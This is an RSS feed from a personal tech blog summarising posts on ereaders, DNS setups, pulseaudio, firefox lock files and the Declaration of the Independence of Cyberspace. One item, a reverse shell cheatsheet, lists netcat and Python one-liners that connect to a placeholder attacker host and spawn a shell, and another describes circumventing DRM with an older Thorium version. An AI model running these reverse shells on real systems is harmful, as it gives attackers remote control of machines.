<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>eol&#39;s blog</title>
    <link>https://blog.sysco.re/</link>
    <description>Recent content on eol&#39;s blog</description>
    <generator>Hugo</generator>
    <language>en-us</language>
    <lastBuildDate>Mon, 23 Feb 2026 13:20:11 +0200</lastBuildDate>
    <atom:link href="https://blog.sysco.re/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>DeDRMing LCPA PDF files using Thorium reader</title>
      <link>https://blog.sysco.re/blog/lcpa_thorium/</link>
      <pubDate>Mon, 23 Feb 2026 13:20:11 +0200</pubDate>
      <guid>https://blog.sysco.re/blog/lcpa_thorium/</guid>
      <description>&lt;p&gt;Someone asked me to remove DRM from a LCPA PDF file.&lt;/p&gt;&#xA;&lt;p&gt;Using an old ereader, I hate DRM. So, I got to work !&lt;/p&gt;&#xA;&lt;p&gt;I found &lt;a href=&#34;https://shkspr.mobi/blog/2025/03/towards-extracting-content-from-an-lcp-protected-epub/&#34;&gt;this&lt;/a&gt; blog article which gave me direction on how to access the debugging interface of Thorium reader.&lt;/p&gt;&#xA;&lt;p&gt;Be aware, Thorium 3.3.0 has closed the hole&amp;hellip; But it works with 3.1.0. Here is a &lt;a href=&#34;https://github.com/edrlab/thorium-reader/releases/download/v3.1.0/Thorium-3.1.0.AppImage&#34;&gt;download link&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;You need the LCP password to decrypt the book and access its content.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Fixing firefox profiles - unlocking sqlites profile databases</title>
      <link>https://blog.sysco.re/blog/firefix/</link>
      <pubDate>Thu, 13 Nov 2025 13:05:31 +0200</pubDate>
      <guid>https://blog.sysco.re/blog/firefix/</guid>
      <description>&lt;p&gt;tl;dr:&#xA;firefox&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;find $HOME/.mozilla/firefox/$profile -name *lock -exec rm {} \;&#xA;find $HOME/.mozilla/firefox/$profile -name &amp;#34;*sqlite&amp;#34; -exec sh -c &amp;#34;sqlite3_analyzer &amp;#39;{}&amp;#39; | grep &amp;#34;locked&amp;#34; &amp;amp;&amp;amp; mv &amp;#39;{}&amp;#39; &amp;#39;{}.tmp&amp;#39; &amp;amp;&amp;amp; cp &amp;#39;{}.tmp&amp;#39; &amp;#39;{}&amp;#39;&amp;#34; \;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;thunderbird&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;find $HOME/.thunderbird -name *lock -exec rm {} \;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;My computer experienced a freeze, and I was forced to reset it&lt;/p&gt;&#xA;&lt;p&gt;When I rebooted, I was greeted with a broken firefox&lt;/p&gt;&#xA;&lt;p&gt;I had to delete the locks on both firefox and thunderbird:&lt;/p&gt;</description>
    </item>
    <item>
      <title>A modern reading system with koreader, calibre web and ko sync</title>
      <link>https://blog.sysco.re/blog/reading_system/</link>
      <pubDate>Tue, 12 Aug 2025 15:33:23 +0200</pubDate>
      <guid>https://blog.sysco.re/blog/reading_system/</guid>
      <description>&lt;p&gt;Last week, I &lt;a href=&#34;https://blog.sysco.re/blog/koreader/&#34;&gt;compiled KOReader for my old inkbook eReader&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Since then, I installed kosync and calibre web for a more streamlined experience&lt;/p&gt;&#xA;&lt;h1 id=&#34;kosync&#34;&gt;kosync&lt;/h1&gt;&#xA;&lt;p&gt;Sometimes, I read on my phone. It is very annoying to find where I left the book when I pickup my other, more confortable device.&lt;/p&gt;&#xA;&lt;p&gt;I installed &lt;a href=&#34;https://github.com/koreader/koreader-sync-server&#34;&gt;koreader-sync-server&lt;/a&gt; and now, all my devices are synchronizing the progress.&#xA;What I found though, is that the files md5sum tended to changes between device, so I have to use the filename, a less robust method to determine the book.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Breathing new life in an old eReader</title>
      <link>https://blog.sysco.re/blog/koreader/</link>
      <pubDate>Thu, 07 Aug 2025 18:55:31 +0200</pubDate>
      <guid>https://blog.sysco.re/blog/koreader/</guid>
      <description>&lt;p&gt;In 2016, I bought my first eReader, an Inkbook Obsidian, to avoid reading on my phone.&#xA;It is an Android eReader, running Android 4.2.2, based on the chinese Boyue T63.&#xA;Since then, it was my trusted reading platform. Not very modern, not very responsive, but to read books, I never needed that.&lt;/p&gt;&#xA;&lt;p&gt;I mostly read in english, sometimes in french, but since October 2024, I&amp;rsquo;ve also been reading in Romanian, to help me learn more vocabulary and use the language.&#xA;But if in either english or french, I never needed a dictionnary, in Romanian, I can&amp;rsquo;t go a page without looking up a word.&#xA;Since I&amp;rsquo;m reading in the train, sometimes there is not cellular network, and I cant use the internet.&lt;/p&gt;</description>
    </item>
    <item>
      <title>The hardware toolkit for begginer - AKA La trousse a outils de survie</title>
      <link>https://blog.sysco.re/blog/hw-toolkit/</link>
      <pubDate>Wed, 02 Nov 2022 20:26:46 +0100</pubDate>
      <guid>https://blog.sysco.re/blog/hw-toolkit/</guid>
      <description>&lt;p&gt;I see many peoples not having the right tool for some basics tasks.&lt;br&gt;&#xA;This post is a simple list of tool they (in my humble opinion) should have to do the most basic tasks around the house&lt;br&gt;&#xA;I&amp;rsquo;ll try to categorise for specifics tasks and not include crazy stuff : my take is that if you need a hand help router you dont need this :p&lt;/p&gt;&#xA;&lt;p&gt;This post is going to be in french, because my friends are french or at least live in france, and will find those tools under their french name&lt;/p&gt;</description>
    </item>
    <item>
      <title>reverse shell cheatsheet</title>
      <link>https://blog.sysco.re/blog/reverse-shell/</link>
      <pubDate>Sat, 08 Oct 2022 14:36:09 +0200</pubDate>
      <guid>https://blog.sysco.re/blog/reverse-shell/</guid>
      <description>&lt;h2 id=&#34;attack-server&#34;&gt;attack server&lt;/h2&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;nc -lvp [port]&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;h2 id=&#34;target-machine&#34;&gt;target machine&lt;/h2&gt;&#xA;&lt;p&gt;nc :&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;nc [attacker] [port] -e /bin/bash&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;python:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;python -c &amp;#39;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&amp;#34;[ATTACK SERVER]&amp;#34;,[ATTACK PORT]));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([&amp;#34;/bin/sh&amp;#34;,&amp;#34;-i&amp;#34;]);&amp;#39;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;h2 id=&#34;stabilize-shell&#34;&gt;stabilize shell&lt;/h2&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;python3 -c &amp;#34;import pty;pty.spawn(&amp;#39;/bin/bash&amp;#39;)&amp;#34;&#xA;export TERM=xterm&#xA;[^Z]&#xA;stty raw -echo; fg&#xA;&lt;/code&gt;&lt;/pre&gt;</description>
    </item>
    <item>
      <title>A master/slave DNS setup using knot</title>
      <link>https://blog.sysco.re/blog/master-slave-dns/</link>
      <pubDate>Thu, 04 Aug 2022 09:48:45 +0200</pubDate>
      <guid>https://blog.sysco.re/blog/master-slave-dns/</guid>
      <description>&lt;p&gt;I have two domains, 3 internet facing servers, and I wanted the DNS to be replicated accross those 3 servers.&lt;/p&gt;&#xA;&lt;p&gt;This setup is older than my post about [DNS wildcard](/blog/dns_wildcard/&lt;/p&gt;&#xA;&lt;p&gt;At that time, I had to frequently push new domains on every single server.&lt;/p&gt;&#xA;&lt;p&gt;I use &lt;a href=&#34;https://www.knot-dns.cz/&#34;&gt;Knot&lt;/a&gt; DNS server on all machines.&lt;/p&gt;&#xA;&lt;p&gt;It can have a master slave setup, where the slave is notified by the master of any change, and update the zone to serve.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Satisfying my p2p addiction (and my aversion to fine)</title>
      <link>https://blog.sysco.re/blog/seedbox/</link>
      <pubDate>Sun, 31 Jul 2022 21:22:14 +0200</pubDate>
      <guid>https://blog.sysco.re/blog/seedbox/</guid>
      <description>&lt;p&gt;I discovered p2p protocols, namely bitorrent, quite young.&lt;/p&gt;&#xA;&lt;p&gt;I proceeded to download everything I thought I needed, mainly music and videos games at that time, on our shitty residential ADSL (it was really shitty, around 50-150kbps if I remember correctly)&lt;/p&gt;&#xA;&lt;p&gt;Then came &lt;a href=&#34;https://fr.wikipedia.org/wiki/HADOPI&#34;&gt;Hadopi&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;It sucked. And suddenly it was in my name I was getting the feared letters&lt;/p&gt;&#xA;&lt;p&gt;Recently, i&amp;rsquo;ve read that Swiss was a wonderful country for p2p&lt;/p&gt;&#xA;&lt;p&gt;I already liked their chocolate&amp;hellip;&lt;/p&gt;</description>
    </item>
    <item>
      <title>I discovered DNS wildcard !</title>
      <link>https://blog.sysco.re/blog/dns_wildcard/</link>
      <pubDate>Sun, 26 Jun 2022 01:12:51 +0200</pubDate>
      <guid>https://blog.sysco.re/blog/dns_wildcard/</guid>
      <description>&lt;h1 id=&#34;why-i-am-dumb&#34;&gt;Why I am dumb&lt;/h1&gt;&#xA;&lt;p&gt;To host stuff, I obviously use DNS to access the various services I have, and to have a bit of load balancing.&lt;/p&gt;&#xA;&lt;p&gt;I use knot for that, with a master/slave setup.&#xA;Since most of my stuff is on a server in my flat, I use two cheap VPS as firewalls and proxy / NAT traffic through a tunnel.&lt;/p&gt;&#xA;&lt;p&gt;So my zone file looked like that :&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;\[...\]&#xA;&#xA;@                   IN  A       54.37.10.118&#xA;@                   IN  A       146.59.155.182&#xA;&#xA;home                CNAME       avapxia&#xA;git                 CNAME       sysco.re.&#xA;acme                CNAME       sysco.re.&#xA;blog                CNAME       sysco.re.&#xA;&#xA;avapxia             A           51.159.59.160&#xA;strigoi             A           54.37.10.118&#xA;moroi               A           146.59.155.182&#xA;&#xA;\[...\]&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This way, I have two IP addresses for each records, and I case OVH cook sausage again in one of their datacenter, I should keep access to my home server. It does not protect if I barbecue my flat, but at least I have control over that.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Centralized sound server with pulseaudio</title>
      <link>https://blog.sysco.re/blog/pulse/</link>
      <pubDate>Mon, 20 Jun 2022 23:31:05 +0200</pubDate>
      <guid>https://blog.sysco.re/blog/pulse/</guid>
      <description>&lt;p&gt;A few years ago, I bought my first home server. I couldn&amp;rsquo;t bear the aging fans on my workstation, running 24/7 near my bed.&#xA;I moved my MPD server to the NAS, plugged in my sound system (an old amp - not really modern tech with networking and bluetooth).&#xA;There was no sound on my workstation, I couldn&amp;rsquo;t watch video, or play video games whith sound anymore.&lt;/p&gt;&#xA;&lt;p&gt;I&amp;rsquo;m a lazy fuck, I did not want to plug / unplug the cable, or need to press some button on my amp to switch.&#xA;But I found out that you could setup pulseaudio to play sound streams from the network&#xA;And on a cabled lan, I have sub millisecond latency.&lt;/p&gt;</description>
    </item>
    <item>
      <title>A Declaration of the Independence of Cyberspace</title>
      <link>https://blog.sysco.re/blog/declaration_independance_cyberspace/</link>
      <pubDate>Thu, 08 Feb 1996 13:24:17 +0100</pubDate>
      <guid>https://blog.sysco.re/blog/declaration_independance_cyberspace/</guid>
      <description>&lt;p&gt;Governments of the Industrial World, you weary giants of flesh and steel, I come from Cyberspace, the new home of Mind. On behalf of the future, I ask you of the past to leave us alone. You are not welcome among us. You have no sovereignty where we gather.&lt;/p&gt;&#xA;&lt;p&gt;We have no elected government, nor are we likely to have one, so I address you with no greater authority than that with which liberty itself always speaks. I declare the global social space we are building to be naturally independent of the tyrannies you seek to impose on us. You have no moral right to rule us nor do you possess any methods of enforcement we have true reason to fear.&lt;/p&gt;</description>
    </item>
  </channel>
</rss>
